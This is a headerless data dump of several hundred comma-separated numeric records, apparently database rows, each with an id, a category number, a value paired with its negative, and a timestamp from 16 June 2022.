+3774,2,3520,9.282231368,-9.282231368,2022-06-16 08:51:04.555369+00 +3082,6,3264,7.957826941,-7.957826941,2022-06-16 08:42:13.041588+00 +7965,2,5434,15.47887264,-15.47887264,2022-06-16 09:48:33.0496+00 +4184,2,3712,8.957913175,-8.957913175,2022-06-16 08:57:04.563089+00 +2846,1,3163,14.88461182,-14.88461182,2022-06-16 08:40:10.148207+00 +3414,4,3389,15.19131964,-15.19131964,2022-06-16 08:46:07.843216+00 +3415,4,3381,18.59976586,-18.59976586,2022-06-16 08:46:07.846799+00 +2856,6,3200,8.080714433,-8.080714433,2022-06-16 08:40:10.600979+00 +2859,4,3163,11.48317711,-11.48317711,2022-06-16 08:40:17.492278+00 +3416,4,3373,15.11827918,-15.11827918,2022-06-16 08:46:07.847868+00 +3417,4,3357,15.19052885,-15.19052885,2022-06-16 08:46:07.849005+00 +3422,4,3096,14.01301978,-14.01301978,2022-06-16 08:46:19.283069+00 +2865,4,3179,11.84716595,-11.84716595,2022-06-16 08:40:21.507251+00 +2584,6,3072,8.2956734,-8.2956734,2022-06-16 08:36:08.583369+00 +2587,4,3035,11.87417107,-11.87417107,2022-06-16 08:36:17.83259+00 +2589,4,3067,11.78726396,-11.78726396,2022-06-16 08:36:21.670856+00 +3427,4,3160,13.91738728,-13.91738728,2022-06-16 08:46:27.106451+00 +3097,4,3227,11.3943996,-11.3943996,2022-06-16 08:42:20.330925+00 +3098,4,3259,11.29830263,-11.29830263,2022-06-16 08:42:20.332543+00 +3099,4,3243,11.75721104,-11.75721104,2022-06-16 08:42:21.589356+00 +3100,7,2992,16.59868159,-16.59868159,2022-06-16 08:42:23.075143+00 +3101,7,3056,16.49585272,-16.49585272,2022-06-16 08:42:23.07853+00 +3102,7,3120,16.39367455,-16.39367455,2022-06-16 08:42:23.079432+00 +3103,7,3184,16.29214782,-16.29214782,2022-06-16 08:42:23.080286+00 +3104,7,3248,16.19127308,-16.19127308,2022-06-16 08:42:23.081133+00 +3105,1,3227,14.6886794,-14.6886794,2022-06-16 08:42:31.153319+00 +3106,1,3259,14.57249219,-14.57249219,2022-06-16 08:42:31.156564+00 +3107,1,3243,15.06310581,-15.06310581,2022-06-16 08:42:31.157438+00 +3108,1,3264,12.20494227,-12.20494227,2022-06-16 08:42:37.15176+00 +3109,1,3248,11.55604995,-11.55604995,2022-06-16 08:42:37.155105+00 +3434,6,3115,15.46987676,-15.46987676,2022-06-16 08:46:43.209124+00 +3436,6,3179,15.39540544,-15.39540544,2022-06-16 08:46:43.213397+00 +3437,6,3243,15.32133579,-15.32133579,2022-06-16 08:46:43.214569+00 +3439,6,3307,15.24766755,-15.24766755,2022-06-16 08:46:43.215698+00 +3440,6,3371,15.17440038,-15.17440038,2022-06-16 08:46:43.216603+00 +3441,6,3131,14.76873435,-14.76873435,2022-06-16 08:46:43.339411+00 +3442,6,3195,14.69761163,-14.69761163,2022-06-16 08:46:43.342656+00 +3443,6,3259,14.626891,-14.626891,2022-06-16 08:46:43.343518+00 +3444,6,3323,14.55657161,-14.55657161,2022-06-16 08:46:43.344363+00 +3445,6,3387,14.48665259,-14.48665259,2022-06-16 08:46:43.345148+00 +4185,2,3576,18.66497706,-18.66497706,2022-06-16 08:57:04.566335+00 +4186,2,3640,18.5889395,-18.5889395,2022-06-16 08:57:04.567238+00 +3451,4,3288,13.8081602,-13.8081602,2022-06-16 08:46:45.138958+00 +5460,6,4331,12.35792326,-12.35792326,2022-06-16 09:17:03.989911+00 +5086,1,4139,12.48830324,-12.48830324,2022-06-16 09:10:58.266088+00 +5470,2,4336,6.737034376,-6.737034376,2022-06-16 09:17:04.444668+00 +5108,6,4123,12.4421419,-12.4421419,2022-06-16 09:11:10.698203+00 +4203,2,3448,18.50888831,-18.50888831,2022-06-16 08:57:09.28625+00 +7981,6,5437,9.242422846,-9.242422846,2022-06-16 09:48:58.447214+00 +4598,4,3736,13.09355837,-13.09355837,2022-06-16 09:03:16.771822+00 +2900,6,3213,13.40265622,-13.40265622,2022-06-16 08:40:39.949345+00 +5129,1,3928,18.49174924,-18.49174924,2022-06-16 09:11:25.2678+00 +7252,1,5115,9.997302649,-9.997302649,2022-06-16 09:40:13.441143+00 +7253,1,5099,10.08315492,-10.08315492,2022-06-16 09:40:13.444468+00 +5505,1,4312,17.99665968,-17.99665968,2022-06-16 09:17:49.325923+00 +2905,1,3184,11.88962546,-11.88962546,2022-06-16 08:40:46.149937+00 +2906,1,3200,12.02132159,-12.02132159,2022-06-16 08:40:46.153277+00 +2907,6,3229,13.9598734,-13.9598734,2022-06-16 08:40:46.164296+00 +3134,6,3216,12.06009577,-12.06009577,2022-06-16 08:42:53.892628+00 +7254,1,5143,14.47187371,-14.47187371,2022-06-16 09:40:13.445392+00 +7255,1,5142,14.53898462,-14.53898462,2022-06-16 09:40:13.446226+00 +5194,4,4219,9.191914369,-9.191914369,2022-06-16 09:12:22.012817+00 +3482,6,3392,7.924416404,-7.924416404,2022-06-16 08:46:56.229076+00 +5822,6,4573,11.088426,-11.088426,2022-06-16 09:22:51.60738+00 +4032,2,3632,8.223345793,-8.223345793,2022-06-16 08:55:04.548262+00 +4451,2,3840,8.691616501,-8.691616501,2022-06-16 09:01:04.549092+00 +3264,6,3328,8.018231468,-8.018231468,2022-06-16 08:44:15.388619+00 +4918,4,3936,8.107359755,-8.107359755,2022-06-16 09:08:23.404482+00 +5365,1,4256,12.7964807,-12.7964807,2022-06-16 09:15:34.31703+00 +4948,6,4096,7.684862458,-7.684862458,2022-06-16 09:08:43.698444+00 +3297,1,3168,14.66724407,-14.66724407,2022-06-16 08:44:40.200576+00 +7139,4,5119,16.07111121,-16.07111121,2022-06-16 09:39:03.97392+00 +11557,2,6538,11.71159509,-11.71159509,2022-06-16 10:25:59.725343+00 +3149,2,3216,13.6810771,-13.6810771,2022-06-16 08:42:59.417457+00 +7916,6,5376,6.863625576,-6.863625576,2022-06-16 09:48:03.016129+00 +3686,6,3451,14.28832128,-14.28832128,2022-06-16 08:49:58.088982+00 +3692,1,3416,19.36346082,-19.36346082,2022-06-16 08:50:01.212019+00 +4093,4,3544,13.29758271,-13.29758271,2022-06-16 08:55:52.599921+00 +3154,6,3277,13.20277934,-13.20277934,2022-06-16 08:43:03.334617+00 +4513,4,3904,6.18751997,-6.18751997,2022-06-16 09:02:05.261712+00 +4107,4,3664,11.18389942,-11.18389942,2022-06-16 08:56:05.256027+00 +4108,4,3712,6.642498054,-6.642498054,2022-06-16 08:56:05.261288+00 +4109,4,3696,5.868995057,-5.868995057,2022-06-16 08:56:05.262566+00 +3159,2,3248,8.866322377,-8.866322377,2022-06-16 08:43:04.424965+00 +4118,1,3691,13.72069615,-13.72069615,2022-06-16 08:56:16.272305+00 +3741,6,3520,7.806567721,-7.806567721,2022-06-16 08:50:33.468756+00 +3749,6,3483,14.23545521,-14.23545521,2022-06-16 08:50:56.581433+00 +3754,6,3499,14.63791592,-14.63791592,2022-06-16 08:50:56.818751+00 +3164,2,3264,9.389471294,-9.389471294,2022-06-16 08:43:04.539005+00 +4119,1,3707,13.19227092,-13.19227092,2022-06-16 08:56:16.275728+00 +4120,1,3675,13.23919049,-13.23919049,2022-06-16 08:56:16.276681+00 +4514,4,3888,5.458767019,-5.458767019,2022-06-16 09:02:05.267387+00 +4134,3,3456,14.05011085,-14.05011085,2022-06-16 08:56:27.665098+00 +3775,1,3256,21.23031314,-21.23031314,2022-06-16 08:51:10.207645+00 +4135,3,3520,13.97053944,-13.97053944,2022-06-16 08:56:27.668512+00 +4136,3,3584,13.89150934,-13.89150934,2022-06-16 08:56:27.669385+00 +4137,3,3648,13.81301836,-13.81301836,2022-06-16 08:56:27.670209+00 +4138,3,3712,13.73506425,-13.73506425,2022-06-16 08:56:27.671034+00 +3418,1,3371,14.82778989,-14.82778989,2022-06-16 08:46:13.205989+00 +3419,1,3387,14.27422704,-14.27422704,2022-06-16 08:46:13.209311+00 +3420,1,3355,14.32479851,-14.32479851,2022-06-16 08:46:13.210297+00 +3423,4,3371,11.52066412,-11.52066412,2022-06-16 08:46:20.778638+00 +3424,4,3355,11.10235633,-11.10235633,2022-06-16 08:46:20.782037+00 +3179,6,3293,13.75728353,-13.75728353,2022-06-16 08:43:09.545624+00 +3425,4,3387,11.00830686,-11.00830686,2022-06-16 08:46:20.783001+00 +3428,4,3224,13.86263886,-13.86263886,2022-06-16 08:46:37.238492+00 +3435,1,3392,11.79180879,-11.79180879,2022-06-16 08:46:43.211216+00 +3438,1,3376,10.98047719,-10.98047719,2022-06-16 08:46:43.214872+00 +3184,6,3301,14.95983453,-14.95983453,2022-06-16 08:43:12.912354+00 +4139,3,3776,13.65764473,-13.65764473,2022-06-16 08:56:27.671839+00 +4523,1,3888,9.296018268,-9.296018268,2022-06-16 09:02:19.266809+00 +3450,6,3421,13.47169674,-13.47169674,2022-06-16 08:46:44.154122+00 +4524,1,3904,10.31942282,-10.31942282,2022-06-16 09:02:19.270414+00 +4151,4,3552,8.664941976,-8.664941976,2022-06-16 08:56:45.486607+00 +3456,6,3429,15.06141027,-15.06141027,2022-06-16 08:46:47.592099+00 +4156,6,3675,13.6642895,-13.6642895,2022-06-16 08:56:48.281781+00 +3461,6,3437,13.31114854,-13.31114854,2022-06-16 08:46:49.68885+00 +4161,6,3691,14.06054768,-14.06054768,2022-06-16 08:56:48.528223+00 +3194,6,3325,13.59167252,-13.59167252,2022-06-16 08:43:16.891287+00 +3466,6,3453,13.28134856,-13.28134856,2022-06-16 08:46:51.727569+00 +3467,4,3352,13.75395056,-13.75395056,2022-06-16 08:46:52.306919+00 +4166,6,3707,13.52774374,-13.52774374,2022-06-16 08:56:48.770622+00 +15045,4,7224,10.10221185,-10.10221185,2022-06-16 10:49:56.935668+00 +3472,6,3344,12.30485934,-12.30485934,2022-06-16 08:46:55.459378+00 +5439,7,4266,16.69097027,-16.69097027,2022-06-16 09:16:30.960224+00 +6535,4,4728,12.59549957,-12.59549957,2022-06-16 09:31:33.28542+00 +3477,6,3376,7.319530928,-7.319530928,2022-06-16 08:46:55.988325+00 +5889,3,4592,10.58401996,-10.58401996,2022-06-16 09:23:49.731371+00 +4191,4,3704,14.950417,-14.950417,2022-06-16 08:57:05.459397+00 +5051,4,4157,13.31624795,-13.31624795,2022-06-16 09:10:08.121532+00 +5052,4,4125,13.39055233,-13.39055233,2022-06-16 09:10:08.125135+00 +5053,4,4141,13.26314615,-13.26314615,2022-06-16 09:10:08.126076+00 +8770,4,5741,9.861113121,-9.861113121,2022-06-16 10:00:08.288664+00 +3487,2,3344,14.23018911,-14.23018911,2022-06-16 08:47:04.422374+00 +8771,4,5757,9.844184365,-9.844184365,2022-06-16 10:00:08.292467+00 +7235,7,5104,13.88025097,-13.88025097,2022-06-16 09:40:02.034361+00 +3842,6,3563,14.53641542,-14.53641542,2022-06-16 08:52:07.826512+00 +5098,2,4160,8.238733104,-8.238733104,2022-06-16 09:11:04.487104+00 +3492,2,3376,8.787299655,-8.787299655,2022-06-16 08:47:04.531559+00 +5506,2,4154,16.42264049,-16.42264049,2022-06-16 09:17:56.609858+00 +3848,4,3549,14.81220703,-14.81220703,2022-06-16 08:52:08.502848+00 +3849,4,3581,14.67149403,-14.67149403,2022-06-16 08:52:08.50618+00 +3850,4,3565,14.64250713,-14.64250713,2022-06-16 08:52:08.507208+00 +3497,2,3392,9.465629047,-9.465629047,2022-06-16 08:47:04.645663+00 +3498,4,3104,9.22804153,-9.22804153,2022-06-16 08:47:04.992555+00 +3853,4,3579,10.48210187,-10.48210187,2022-06-16 08:52:20.863772+00 +3856,1,3320,21.09767433,-21.09767433,2022-06-16 08:52:25.226646+00 +5937,6,4669,10.84691966,-10.84691966,2022-06-16 09:24:11.860726+00 +5529,6,4461,11.22440978,-11.22440978,2022-06-16 09:18:09.284279+00 +3864,6,3613,12.98294852,-12.98294852,2022-06-16 08:52:40.060096+00 +4614,1,3872,13.30013219,-13.30013219,2022-06-16 09:03:40.265416+00 +5130,1,3992,18.41194354,-18.41194354,2022-06-16 09:11:34.268625+00 +5131,1,4128,12.72088098,-12.72088098,2022-06-16 09:11:34.272076+00 +7999,2,5360,5.062108001,-5.062108001,2022-06-16 09:49:04.412769+00 +3874,6,3536,12.52894776,-12.52894776,2022-06-16 08:52:46.12056+00 +3509,7,3440,15.89668929,-15.89668929,2022-06-16 08:47:19.830543+00 +3510,4,3168,9.194406624,-9.194406624,2022-06-16 08:47:20.204953+00 +5553,4,4192,7.884751832,-7.884751832,2022-06-16 09:18:24.314955+00 +3879,6,3568,7.076679481,-7.076679481,2022-06-16 08:52:46.690826+00 +5564,2,4218,16.34601567,-16.34601567,2022-06-16 09:18:27.43524+00 +5565,4,4256,7.859306561,-7.859306561,2022-06-16 09:18:30.842267+00 +3884,6,3584,7.73204694,-7.73204694,2022-06-16 08:52:46.903632+00 +9711,2,6072,16.75516408,-16.75516408,2022-06-16 10:10:09.430745+00 +3889,6,3645,12.82831796,-12.82831796,2022-06-16 08:52:48.036938+00 +4651,1,3968,10.15335768,-10.15335768,2022-06-16 09:04:07.273179+00 +4652,1,3952,9.093813364,-9.093813364,2022-06-16 09:04:07.277371+00 +4268,4,3768,14.68720131,-14.68720131,2022-06-16 08:58:05.400899+00 +4269,4,3776,6.332823558,-6.332823558,2022-06-16 08:58:05.404304+00 +4270,4,3728,11.16130723,-11.16130723,2022-06-16 08:58:05.405182+00 +3900,7,3504,15.80536649,-15.80536649,2022-06-16 08:52:58.652304+00 +3901,7,3568,15.70436343,-15.70436343,2022-06-16 08:52:58.655676+00 +3902,7,3632,15.60405537,-15.60405537,2022-06-16 08:52:58.656689+00 +3526,4,3232,9.160955807,-9.160955807,2022-06-16 08:47:28.442221+00 +4271,4,3760,5.724871233,-5.724871233,2022-06-16 08:58:05.406043+00 +4278,4,3771,10.07480965,-10.07480965,2022-06-16 08:58:20.351083+00 +4279,4,3755,10.49783177,-10.49783177,2022-06-16 08:58:20.354406+00 +4658,4,3947,10.12815062,-10.12815062,2022-06-16 09:04:22.063208+00 +3912,2,3568,8.322041993,-8.322041993,2022-06-16 08:53:04.438794+00 +3532,4,3296,9.127687901,-9.127687901,2022-06-16 08:47:40.829964+00 +3533,1,3360,14.2675381,-14.2675381,2022-06-16 08:47:49.205529+00 +3534,4,3360,9.064457098,-9.064457098,2022-06-16 08:47:51.834066+00 +4659,4,3963,9.684531265,-9.684531265,2022-06-16 09:04:22.066497+00 +5195,1,4208,8.234685073,-8.234685073,2022-06-16 09:12:22.270584+00 +3620,2,3440,8.643089483,-8.643089483,2022-06-16 08:49:04.595067+00 +4022,6,3677,12.84261609,-12.84261609,2022-06-16 08:55:03.777955+00 +3630,6,3485,13.30454196,-13.30454196,2022-06-16 08:49:06.833643+00 +4442,2,3824,7.845112764,-7.845112764,2022-06-16 09:01:04.436942+00 +4042,6,3693,12.71765531,-12.71765531,2022-06-16 08:55:09.537769+00 +5823,1,4523,11.67581969,-11.67581969,2022-06-16 09:22:52.373103+00 +4452,6,3869,12.43422721,-12.43422721,2022-06-16 09:01:04.577085+00 +6472,1,4854,15.22012362,-15.22012362,2022-06-16 09:31:01.389906+00 +4933,6,4157,11.776645,-11.776645,2022-06-16 09:08:34.302964+00 +3681,6,3435,14.8365055,-14.8365055,2022-06-16 08:49:57.870296+00 +5853,2,4528,6.559426314,-6.559426314,2022-06-16 09:23:04.460969+00 +5394,7,4208,15.11713228,-15.11713228,2022-06-16 09:16:00.061993+00 +4094,4,3608,13.24649038,-13.24649038,2022-06-16 08:56:02.370478+00 +4963,6,4091,12.48261446,-12.48261446,2022-06-16 09:08:45.631448+00 +4110,4,3677,14.48604456,-14.48604456,2022-06-16 08:56:08.66008+00 +4111,4,3693,14.35093334,-14.35093334,2022-06-16 08:56:08.663486+00 +4112,4,3709,14.31656752,-14.31656752,2022-06-16 08:56:08.664464+00 +3736,6,3504,7.14454771,-7.14454771,2022-06-16 08:50:33.226173+00 +3742,1,3483,13.82421795,-13.82421795,2022-06-16 08:50:52.209391+00 +3743,1,3515,13.71731408,-13.71731408,2022-06-16 08:50:52.212738+00 +3744,1,3499,14.19504359,-14.19504359,2022-06-16 08:50:52.213639+00 +5395,7,4272,15.01093401,-15.01093401,2022-06-16 09:16:00.065853+00 +3559,6,3517,13.22370861,-13.22370861,2022-06-16 08:48:03.756329+00 +4515,4,3885,13.91278374,-13.91278374,2022-06-16 09:02:08.668847+00 +3759,6,3515,14.09340512,-14.09340512,2022-06-16 08:50:57.055467+00 +4516,4,3869,13.98482265,-13.98482265,2022-06-16 09:02:08.672332+00 +4525,4,3867,9.907673694,-9.907673694,2022-06-16 09:02:21.281251+00 +4526,4,3883,10.25893959,-10.25893959,2022-06-16 09:02:21.284693+00 +5396,7,4336,14.90556141,-14.90556141,2022-06-16 09:16:00.067115+00 +3780,6,3472,12.39669343,-12.39669343,2022-06-16 08:51:16.042199+00 +6473,1,4855,15.18632621,-15.18632621,2022-06-16 09:31:01.393523+00 +3568,4,3408,11.23314803,-11.23314803,2022-06-16 08:48:06.346178+00 +3569,4,3456,7.134724865,-7.134724865,2022-06-16 08:48:06.351453+00 +3570,4,3440,6.495017655,-6.495017655,2022-06-16 08:48:06.353127+00 +3571,4,3453,14.98079392,-14.98079392,2022-06-16 08:48:08.571042+00 +3572,4,3421,15.08795585,-15.08795585,2022-06-16 08:48:08.575+00 +3573,4,3445,18.56040769,-18.56040769,2022-06-16 08:48:08.576061+00 +3574,4,3437,14.90723866,-14.90723866,2022-06-16 08:48:08.577083+00 +3575,1,3352,19.40471093,-19.40471093,2022-06-16 08:48:16.208488+00 +4167,1,3696,10.00054641,-10.00054641,2022-06-16 08:56:49.302772+00 +4168,1,3712,10.83710261,-10.83710261,2022-06-16 08:56:49.306171+00 +5410,6,4336,6.200491353,-6.200491353,2022-06-16 09:16:02.452554+00 +19338,1,7913,10.9260233,-10.9260233,2022-06-16 11:16:55.951825+00 +3580,6,3440,7.214544028,-7.214544028,2022-06-16 08:48:20.692816+00 +5440,2,4410,16.49963645,-16.49963645,2022-06-16 09:16:41.310384+00 +7160,2,5019,12.13655971,-12.13655971,2022-06-16 09:39:09.44207+00 +4192,6,3664,12.79192972,-12.79192972,2022-06-16 08:57:05.485243+00 +5890,7,4400,14.82715433,-14.82715433,2022-06-16 09:23:50.945218+00 +3585,6,3456,7.883740051,-7.883740051,2022-06-16 08:48:20.954118+00 +3586,4,3451,10.79987019,-10.79987019,2022-06-16 08:48:21.800167+00 +3587,4,3435,11.24352144,-11.24352144,2022-06-16 08:48:21.801629+00 +3588,4,3419,10.83079292,-10.83079292,2022-06-16 08:48:21.802523+00 +5891,7,4464,14.71935397,-14.71935397,2022-06-16 09:23:50.94872+00 +4206,2,3704,18.43335206,-18.43335206,2022-06-16 08:57:09.345444+00 +3816,1,3488,14.03662973,-14.03662973,2022-06-16 08:51:40.184007+00 +5892,7,4528,14.61242742,-14.61242742,2022-06-16 09:23:50.949633+00 +3822,1,3480,19.29974593,-19.29974593,2022-06-16 08:52:01.222723+00 +5893,7,4592,14.50637086,-14.50637086,2022-06-16 09:23:50.950493+00 +12664,2,6831,14.60782236,-14.60782236,2022-06-16 10:33:05.29611+00 +3831,4,3584,6.881917178,-6.881917178,2022-06-16 08:52:05.787322+00 +3832,4,3536,11.22003198,-11.22003198,2022-06-16 08:52:05.791352+00 +3833,4,3568,6.250681787,-6.250681787,2022-06-16 08:52:05.792822+00 +6536,1,4760,16.87910776,-16.87910776,2022-06-16 09:31:37.418916+00 +8772,1,5624,16.28932171,-16.28932171,2022-06-16 10:00:13.520944+00 +5142,4,4000,7.963233071,-7.963233071,2022-06-16 09:11:49.413722+00 +4235,1,3680,13.72874966,-13.72874966,2022-06-16 08:57:49.231221+00 +3603,4,3256,15.66152576,-15.66152576,2022-06-16 08:48:27.382932+00 +3604,1,3440,10.80545231,-10.80545231,2022-06-16 08:48:34.203869+00 +3605,1,3456,11.64917044,-11.64917044,2022-06-16 08:48:34.207299+00 +3606,4,3320,15.60098281,-15.60098281,2022-06-16 08:48:40.466112+00 +3607,4,3384,15.54070037,-15.54070037,2022-06-16 08:48:46.470052+00 +5939,1,4592,6.834724193,-6.834724193,2022-06-16 09:24:16.349453+00 +5940,1,4608,8.500471116,-8.500471116,2022-06-16 09:24:16.352828+00 +3847,6,3579,13.99369272,-13.99369272,2022-06-16 08:52:08.087687+00 +3851,1,3584,11.37344699,-11.37344699,2022-06-16 08:52:13.208169+00 +3852,1,3568,10.49948421,-10.49948421,2022-06-16 08:52:13.214553+00 +3854,4,3563,10.91693121,-10.91693121,2022-06-16 08:52:22.166985+00 +3855,4,3547,10.54468854,-10.54468854,2022-06-16 08:52:22.170268+00 +3857,1,3579,13.52541136,-13.52541136,2022-06-16 08:52:37.212539+00 +3858,1,3563,13.99990522,-13.99990522,2022-06-16 08:52:37.215831+00 +3859,1,3547,13.57655657,-13.57655657,2022-06-16 08:52:37.216701+00 +8792,1,5755,8.626594086,-8.626594086,2022-06-16 10:00:22.520569+00 +8793,1,5739,8.808064251,-8.808064251,2022-06-16 10:00:22.521813+00 +5196,1,4224,9.345744565,-9.345744565,2022-06-16 09:12:22.273891+00 +5584,4,4344,13.29721557,-13.29721557,2022-06-16 09:19:00.745778+00 +3869,6,3629,12.85695708,-12.85695708,2022-06-16 08:52:45.972597+00 +5207,2,4282,16.65335517,-16.65335517,2022-06-16 09:12:26.83423+00 +5215,2,4208,7.13090134,-7.13090134,2022-06-16 09:13:04.435325+00 +4653,4,3949,13.7607902,-13.7607902,2022-06-16 09:04:08.338293+00 +4654,4,3933,13.83286049,-13.83286049,2022-06-16 09:04:08.341739+00 +4272,1,3739,13.1180711,-13.1180711,2022-06-16 08:58:07.265125+00 +4273,1,3771,13.01581652,-13.01581652,2022-06-16 08:58:07.269201+00 +4274,1,3755,13.48290248,-13.48290248,2022-06-16 08:58:07.270284+00 +4280,4,3739,10.10640797,-10.10640797,2022-06-16 08:58:21.630233+00 +4655,4,3965,13.69967285,-13.69967285,2022-06-16 09:04:08.342786+00 +4286,6,3728,13.17492175,-13.17492175,2022-06-16 08:58:33.788462+00 +6604,6,4827,10.71616055,-10.71616055,2022-06-16 09:32:27.040238+00 +4664,6,3952,6.648990929,-6.648990929,2022-06-16 09:04:30.08281+00 +7222,1,4856,17.10514807,-17.10514807,2022-06-16 09:39:43.443101+00 +4296,6,3776,7.713373051,-7.713373051,2022-06-16 08:58:34.566571+00 +4673,4,3832,14.50986566,-14.50986566,2022-06-16 09:04:36.807934+00 +12665,2,6838,14.87087014,-14.87087014,2022-06-16 10:33:05.300136+00 +4679,4,3896,14.45489338,-14.45489338,2022-06-16 09:04:47.559716+00 +3907,2,3536,14.37055083,-14.37055083,2022-06-16 08:52:59.449356+00 +8015,6,5371,9.552238576,-9.552238576,2022-06-16 09:49:11.4411+00 +8819,2,5802,13.50241123,-13.50241123,2022-06-16 10:00:48.903178+00 +4308,6,3821,12.44563642,-12.44563642,2022-06-16 08:58:45.520963+00 +5256,1,4184,18.27029236,-18.27029236,2022-06-16 09:13:34.271687+00 +3917,2,3584,9.289929157,-9.289929157,2022-06-16 08:53:04.559314+00 +4691,2,4002,16.69168362,-16.69168362,2022-06-16 09:05:02.021362+00 +4314,7,3562,16.65249431,-16.65249431,2022-06-16 08:58:47.762046+00 +4692,2,3938,16.6133215,-16.6133215,2022-06-16 09:05:02.024853+00 +6675,2,4827,12.60278968,-12.60278968,2022-06-16 09:33:09.533752+00 +3922,6,3547,13.97823968,-13.97823968,2022-06-16 08:53:18.241937+00 +5267,1,4192,12.61265752,-12.61265752,2022-06-16 09:13:40.30448+00 +6685,6,4864,7.037733631,-7.037733631,2022-06-16 09:33:14.734376+00 +5288,1,4288,9.192679728,-9.192679728,2022-06-16 09:14:13.318874+00 +5289,1,4272,7.914759333,-7.914759333,2022-06-16 09:14:13.322228+00 +5654,4,4445,12.7217745,-12.7217745,2022-06-16 09:20:08.504651+00 +4331,2,3760,7.915224858,-7.915224858,2022-06-16 08:59:04.411748+00 +6474,4,4704,7.517936806,-7.517936806,2022-06-16 09:31:03.154573+00 +4453,7,3888,15.61648149,-15.61648149,2022-06-16 09:01:08.437906+00 +5838,6,4523,11.89178508,-11.89178508,2022-06-16 09:22:58.546073+00 +19339,1,7897,11.02325728,-11.02325728,2022-06-16 11:16:55.955152+00 +3933,1,3384,21.12199006,-21.12199006,2022-06-16 08:53:31.208815+00 +3934,1,3552,13.86385829,-13.86385829,2022-06-16 08:53:40.210614+00 +19340,1,7929,10.8885981,-10.8885981,2022-06-16 11:16:55.956031+00 +5880,7,4594,16.72439892,-16.72439892,2022-06-16 09:23:25.013611+00 +4978,2,4080,7.29853064,-7.29853064,2022-06-16 09:09:04.458392+00 +5424,4,4352,5.422377316,-5.422377316,2022-06-16 09:16:05.474699+00 +4517,4,3901,13.85039783,-13.85039783,2022-06-16 09:02:09.959181+00 +4527,4,3899,9.810444043,-9.810444043,2022-06-16 09:02:22.557918+00 +5425,4,4336,4.4294214,-4.4294214,2022-06-16 09:16:05.479275+00 +4543,6,3965,12.15597017,-12.15597017,2022-06-16 09:02:25.517171+00 +5441,4,4216,13.50912369,-13.50912369,2022-06-16 09:16:45.97688+00 +4556,6,3904,7.57779313,-7.57779313,2022-06-16 09:02:38.301128+00 +4564,6,3867,13.12206479,-13.12206479,2022-06-16 09:02:46.496422+00 +4569,6,3883,13.51147734,-13.51147734,2022-06-16 09:02:46.715035+00 +4574,6,3899,12.99141788,-12.99141788,2022-06-16 09:02:46.916239+00 +5452,6,4397,11.31995767,-11.31995767,2022-06-16 09:16:56.597932+00 +4169,4,3616,8.634767856,-8.634767856,2022-06-16 08:56:55.023738+00 +4174,2,3664,14.6271738,-14.6271738,2022-06-16 08:56:59.427676+00 +5894,1,4512,12.29091103,-12.29091103,2022-06-16 09:23:55.373418+00 +13878,2,7013,19.55282969,-19.55282969,2022-06-16 10:41:14.426816+00 +4596,2,3904,8.625266283,-8.625266283,2022-06-16 09:03:04.554848+00 +5917,6,4571,11.67789919,-11.67789919,2022-06-16 09:24:09.388553+00 +5067,6,4144,6.661085361,-6.661085361,2022-06-16 09:10:22.109972+00 +6537,1,4525,15.80610256,-15.80610256,2022-06-16 09:31:40.41024+00 +4207,1,3576,20.73179709,-20.73179709,2022-06-16 08:57:16.277749+00 +5941,4,4587,8.956812859,-8.956812859,2022-06-16 09:24:20.479462+00 +5942,4,4571,8.825415975,-8.825415975,2022-06-16 09:24:20.482917+00 +5943,4,4603,8.546363731,-8.546363731,2022-06-16 09:24:20.48388+00 +4223,1,3640,20.64670186,-20.64670186,2022-06-16 08:57:40.258851+00 +9736,6,6143,16.31770272,-16.31770272,2022-06-16 10:10:16.861938+00 +8820,1,5760,6.251682501,-6.251682501,2022-06-16 10:00:55.568832+00 +4234,7,3626,16.73110914,-16.73110914,2022-06-16 08:57:47.842202+00 +4236,1,3704,20.53139854,-20.53139854,2022-06-16 08:57:55.26085+00 +5143,4,4064,7.93711442,-7.93711442,2022-06-16 09:12:00.829596+00 +5980,3,4672,12.42451404,-12.42451404,2022-06-16 09:24:55.108241+00 +4648,4,3952,5.34299901,-5.34299901,2022-06-16 09:04:05.899999+00 +4649,4,3968,6.05498761,-6.05498761,2022-06-16 09:04:05.904076+00 +4656,1,3864,18.62715886,-18.62715886,2022-06-16 09:04:10.261686+00 +3971,4,3632,6.086237854,-6.086237854,2022-06-16 08:54:05.127975+00 +3972,4,3600,11.2639443,-11.2639443,2022-06-16 08:54:05.131626+00 +3973,4,3648,6.85440663,-6.85440663,2022-06-16 08:54:05.13262+00 +3974,4,3629,14.54391746,-14.54391746,2022-06-16 08:54:08.156873+00 +3975,4,3613,14.6159136,-14.6159136,2022-06-16 08:54:08.160555+00 +3976,4,3645,14.47661436,-14.47661436,2022-06-16 08:54:08.161614+00 +5166,6,4269,11.57820383,-11.57820383,2022-06-16 09:12:09.818364+00 +5177,6,4285,11.5546475,-11.5546475,2022-06-16 09:12:12.180513+00 +4669,6,3968,7.485033307,-7.485033307,2022-06-16 09:04:30.298833+00 +7223,1,4920,17.03361955,-17.03361955,2022-06-16 09:39:46.43867+00 +4267,2,3768,18.23498326,-18.23498326,2022-06-16 08:58:04.81425+00 +4275,4,3741,14.32650564,-14.32650564,2022-06-16 08:58:07.909065+00 +4276,4,3773,14.18956862,-14.18956862,2022-06-16 08:58:07.912158+00 +4277,4,3757,14.1618852,-14.1618852,2022-06-16 08:58:07.913055+00 +3985,6,3632,6.934695629,-6.934695629,2022-06-16 08:54:09.403627+00 +4281,1,3672,19.08889884,-19.08889884,2022-06-16 08:58:25.259451+00 +8821,1,5744,4.144245837,-4.144245837,2022-06-16 10:00:55.572542+00 +5206,6,4224,7.516845334,-7.516845334,2022-06-16 09:12:23.320274+00 +5594,2,4416,7.992410637,-7.992410637,2022-06-16 09:19:04.559116+00 +3990,6,3648,7.792515169,-7.792515169,2022-06-16 08:54:09.618963+00 +3991,4,3643,10.37418513,-10.37418513,2022-06-16 08:54:20.198214+00 +3992,4,3611,10.42409794,-10.42409794,2022-06-16 08:54:20.201494+00 +3993,4,3627,10.78814523,-10.78814523,2022-06-16 08:54:20.202478+00 +4291,6,3760,7.038563675,-7.038563675,2022-06-16 08:58:34.359914+00 +12726,2,6779,9.034536184,-9.034536184,2022-06-16 10:33:14.543552+00 +4689,6,4029,12.02764735,-12.02764735,2022-06-16 09:04:50.699798+00 +4297,1,3760,9.789750184,-9.789750184,2022-06-16 08:58:37.232487+00 +3998,6,3611,13.88548473,-13.88548473,2022-06-16 08:54:26.275159+00 +4298,1,3776,10.61448178,-10.61448178,2022-06-16 08:58:37.235997+00 +6634,6,4925,10.18600098,-10.18600098,2022-06-16 09:32:36.597439+00 